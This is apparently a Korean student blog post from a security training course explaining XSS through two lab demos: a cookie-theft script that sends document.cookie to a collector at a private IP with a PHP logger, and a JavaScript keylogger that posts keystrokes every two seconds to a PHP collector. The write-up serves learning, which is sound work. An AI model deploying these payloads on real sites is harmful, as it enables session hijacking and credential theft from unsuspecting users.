[normaltic 취업반 5기] 2023-11-15 4주차 과제 : 2번 과제

2023. 11. 17. 23:25normaltic 취업반 5기/과제

XSS (Cross Site Scripting)

 

  XSS는 웹 애플리케이션에서 많이 나타나는 취약점 중 하나로 웹 페이지에 악의적인 의도를 담은 스크립트를 삽입하여 웹 페이지 사용자에게 피해를 입힌다. 해당 취약점을 이용한 공격의 성공 확률을 높이기 위해 주로 여러 사용자가 보는 게시판에 악성 스크립트를 삽입한 게시글을 등록해놓고 게시판 이용자가 이를 보게 되면 이용자에게 발급된 쿠키를 탈취한다거나 이용자의 의도와 상관없는 기능을 수행하도록 만든다. 이 취약점은 웹 애플리케이션이 이용자로부터 입력받은 값에 대한 유효성 검사를 제대로 하지 않은 경우 발생한다.

 

XSS 취약점을 이용한 공격에는 여러가지가 존재하는데 이 중 쿠키 탈취키로거 공격을 실습을 통해 알아보자.

 

쿠키(세션) 탈취

 

  쿠키는 클라이언트가 웹 페이지 방문 시 클라이언트에 대한 정보를 담고 있는 파일이다. 이는 클라이언트 측에서 보관되는 정보인데 만약 쿠키에 중요한 정보(사용자 계정)가 담겨 있거나 또는 세션 ID가 저장되어 있다면 공격자는 이를 탈취하여 사용자인척 웹 페이지 기능을 사용할 수 있기에 주의해야 한다.

 

쿠키 탈취 발생
클라이언트로 위장하여 요청

 

  그렇다면 실습을 통해 쿠키 탈취 공격이 어떻게 이루어지는지 알아보자.

 

1) 쿠키 탈취 스크립트

 

1
<script>window.open("http://192.168.74.128:1018/hijack/hijack.php?data="+document.cookie)</script>
cs

 

  쿠키 탈취를 위한 스크립트 코드의 예시 중 하나이며 여러 형태의 코드가 존재한다. 코드 실행 시 입력된 URL이 쿠키 값을 전달받은 채로 열리게 된다.

 

2) hijack.php

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
    // 쿠키 탈취 스크립트
    // <script>window.open("http://192.168.74.128:1018/hijack/hijack.php?data="+document.cookie)</script>
 
    // 스크립트로 전달된 쿠키 데이터 저장
    $cookie=$_GET['data'];
 
    // 언제 쿠키가 탈취 됬는지 기록하기 위해 탈취 당시 시간 변수 선언
    $time=date("y-m-d H:i:s");
 
    
    $file=fopen("data.txt","a");
    fwrite($file$time." ".$cookie."\r\n");
    fclose($file);
 
    // 성공적으로 탈취 했을 경우 팝업창 알림
    echo "<script>alert('You hacked!')</script>";
?>
cs

 

  스크립트로 전달된 쿠키 값을 처리하는 php 파일이다. GET 메소드로 전달된 쿠키 값과 탈취된 당시의 시간과 함께 'data.txt' 라는 텍스트 파일에 저장한다. 성공적으로 쿠키가 탈취되면 'You hacked!'라는 문자열이 담긴 경고 팝업창을 보여준다.

 

3) 실행 화면 

 

스크립트가 삽입될 페이지
스크립트 실행
전달된 쿠키 값을 data.txt에 저장

 

  실습에서는 간단하게 웹 페이지를 구성하여 스크립트가 어떻게 작동하는지만 보였으나 실상황에서는 게시판에 스크립트가 삽입된 게시글을 게시판 이용자가 클릭할 경우 해당 이용자의 쿠키가 탈취된다.

 

키로거(Keylogger)

 

  키로거란 말 그대로 Key+Log의 합성어로 키보드에 입력한 내용을 기록하여 사용자의 동의 없이 몰래 가로채는 것을 의미한다. 주로 피해자를 유명 사이트의 로그인 페이지와 똑같은 디자인의 피싱 사이트로 유도한다. 피싱 사이트에서는 키로거 스크립트가 실행되어 있으며 피해자가 아무런 의심 없이 로그인을 위해 계정 정보를 입력하면 그 정보가 그대로 공격자 서버로 전송되어 계정 정보가 노출된다.

 

키로거 공격으로 인한 계정 정보 노출

 

  그렇다면 실습을 통해 키로거 공격이 어떻게 이루어지는지 알아보자.

 

1) 키로거 공격 스크립트 : key.js 파일

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
const keylog = {
    
    // 프로퍼티들
    str : [], 
    
    // 전송 플레그
    sending : false,
 
    // 초기화
    init : function () {
 
        // 키를 누르면 배열에 저장 =====================> 이벤트 객체 e에는 keyCode, key, code라는 정보가 들어있으며
        // keyCode는 누른 키를 식별하는 숫자를 출력하고, key는 어떤 키를 눌렀는지 문자로 출력해준다.
        window.addEventListener("keydown"function(e){
            keylog.str.push(e.key);
        });
 
        // 주기적으로 키 입력 보내기
        // setInterval(실행할 코드, 밀리초단위) : 이 메소드는 파라미터로 넣어진 코드를 밀리초단위 마다 실행하는 메소드다.
        window.setInterval(keylog.send,2000);
 
    },
 
    // 서버로 보내기
    send : function () { if (!keylog.sending && keylog.str.length !=0 ) {
 
        keylog.sending = true;
 
        // 키누름 데이터
        // FormData 객체는 자바스크립트 내에서 html의 폼 태그를 이용한 데이터 전송과 같은 역할을 한다.
        let data = new FormData(); // 객체 생성
 
        // JSON.stringify(JSON 형식으로 변경)을 해주는 이유는 클라이언트-서버간 데이터 전송 시 데이터의 형식은 JSON 형식이여야 한다.
        // 그렇기 때문에 데이터 전송 시 데이터의 형식을 JSON으로 바꿔주는 작업이 필요하다.
        // 여기서는 JSON.stringify를 사용하여 인코딩한다고 생각해주면된다.
        data.append("keys",JSON.stringify(keylog.str)); // input name = keys value = JSON.stringify(keylog.str)
        keylog.str = []; // 한번 보내면 다시 str 배열을 초기화 시킨다.
 
        // AJAX POST
        // FormData 객체는 XMLHttpRequest 전송을 위하여 설계된 특수한 객체 형태
 
        let xhr = new XMLHttpRequest();
        xhr.open("POST","/keylogger/keylog.php"); // 데이터를 전송할 방법과 주소 지정
        xhr.send(data);
 
        keylog.sending = false;
 
    }}
 
};
 
window.addEventListener("DOMContentLoaded",keylog.init);
 
 
cs

 

  키로거 공격을 담당하는 객체이다. 키로거 객체의 프로퍼티에 대해 알아보자.

 

  1. str : 입력된 키 정보를 저장하는 프로퍼티
  2. sending : 현재 입력된 키 정보를 보냈는지 구별하기 위한 플레그
  3. init : 키 입력 이벤트를 작동시키는 프로퍼티
  4. send : 입력된 키 정보를 공격자의 서버로 전송하는 프로퍼티

 

[1] init 프로퍼티

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
 
    // 초기화
    init : function () {
 
        // 키를 누르면 배열에 저장 =====================> 이벤트 객체 e에는 keyCode, key, code라는 정보가 들어있으며
        // keyCode는 누른 키를 식별하는 숫자를 출력하고, key는 어떤 키를 눌렀는지 문자로 출력해준다.
        window.addEventListener("keydown"function(e){
            keylog.str.push(e.key);
        });
 
        // 주기적으로 키 입력 보내기
        // setInterval(실행할 코드, 밀리초단위) : 이 메소드는 파라미터로 넣어진 코드를 밀리초단위 마다 실행하는 메소드다.
        window.setInterval(keylog.send,2000);
 
    },
cs

 

  키 입력 이벤트를 작동 시키는 프로퍼티이며 해당 함수 호출 시 'keydown' 이벤트리스너를 호출하여 'str'프로퍼티에 입력된 키 정보를 저장한다. 그리고 setInterval 메소드를 호출하여 2초마다 공격자 서버로 데이터를 보낸다.

 

[2] send 프로퍼티

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
    // 서버로 보내기
    send : function () { if (!keylog.sending && keylog.str.length !=0 ) {
 
        keylog.sending = true;
 
        // 키누름 데이터
        // FormData 객체는 자바스크립트 내에서 html의 폼 태그를 이용한 데이터 전송과 같은 역할을 한다.
        let data = new FormData(); // 객체 생성
 
        // JSON.stringify(JSON 형식으로 변경)을 해주는 이유는 클라이언트-서버간 데이터 전송 시 데이터의 형식은 JSON 형식이여야 한다.
        // 그렇기 때문에 데이터 전송 시 데이터의 형식을 JSON으로 바꿔주는 작업이 필요하다.
        // 여기서는 JSON.stringify를 사용하여 인코딩한다고 생각해주면된다.
        data.append("keys",JSON.stringify(keylog.str)); // input name = keys value = JSON.stringify(keylog.str)
        keylog.str = []; // 한번 보내면 다시 str 배열을 초기화 시킨다.
 
        // AJAX POST
        // FormData 객체는 XMLHttpRequest 전송을 위하여 설계된 특수한 객체 형태
 
        let xhr = new XMLHttpRequest();
        xhr.open("POST","/keylogger/keylog.php"); // 데이터를 전송할 방법과 주소 지정
        xhr.send(data);
 
        keylog.sending = false;
}
 
cs

 

  입력된 키 정보를 공격자 서버로 보내는 프로퍼티이며 해당 함수 호출 시 'sending == false'이고 'str' 프로퍼티가 비어있지 않아야 한다. sending 프로퍼티의 값을 true로 변경하고 데이터 전송을 위한 FormData 객체를 선언한다. FormData 객체는 html의 <form> 태그와 같은 역할을 한다. 

 

  입력된 키 정보가 저장된 str을 JSON 형태로 인코딩해주고 'keys'라는 이름으로 설정한다. 이때 FormData 객체의 append 메소드는 <form> 태그의 <input> 태그와 같은 역할을 한다. 

 

  XMLHttpRequest 객체를 선언하여 웹 서버 간 데이터 전송을 준비한다. POST 메소드 방식으로 공격자 서버의 웹 페이지로 데이터를 전송한다. 전송을 완료하면 sending 프로퍼티는 다시 false로 변경한다.

 

2)  keylog.php

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php 
 
    // 전송된 키 정보를 저장할 'keylog.txt'라는 이름의 파일을 열어준다.
    $file = fopen("keylog.txt""a+");
 
    // 전송된 데이터는 JSON 형태로 인코딩 되어있기 때문에
    // 먼저 JSON 형태를 디코딩하여 변수에 저장한다.
    $keys = json_decode($_POST['keys']);
 
    // 저장된 변수는 'keylog.txt'파일에 한 키씩 입력하고 줄바꿈한다.
    foreach($keys as $k => $v)
    {
        fwrite($file$v . PHP_EOL);
 
    }
 
    fclose($file);
echo "OK";
?>
cs

 

  입력된 키 정보를 처리하는 php 파일이다. 키 정보를 저장할 'keylog.txt' 파일을 생성하고 전송된 키 정보는 JSON 형태로 인코딩 되어 있으므로 디코딩 처리해 주고 $keys 변수에 저장한다. 이후 변수에 저장된 정보를 'keylog.txt' 파일에 한 키 입력 시 줄 바꿈을 하여 기록한다. 

 

3) 실행 화면

 

키로거 기능이 삽입된 웹 페이지
공격자 서버로 입력한 키 정보가 전달되어 keylog.txt 파일에 저장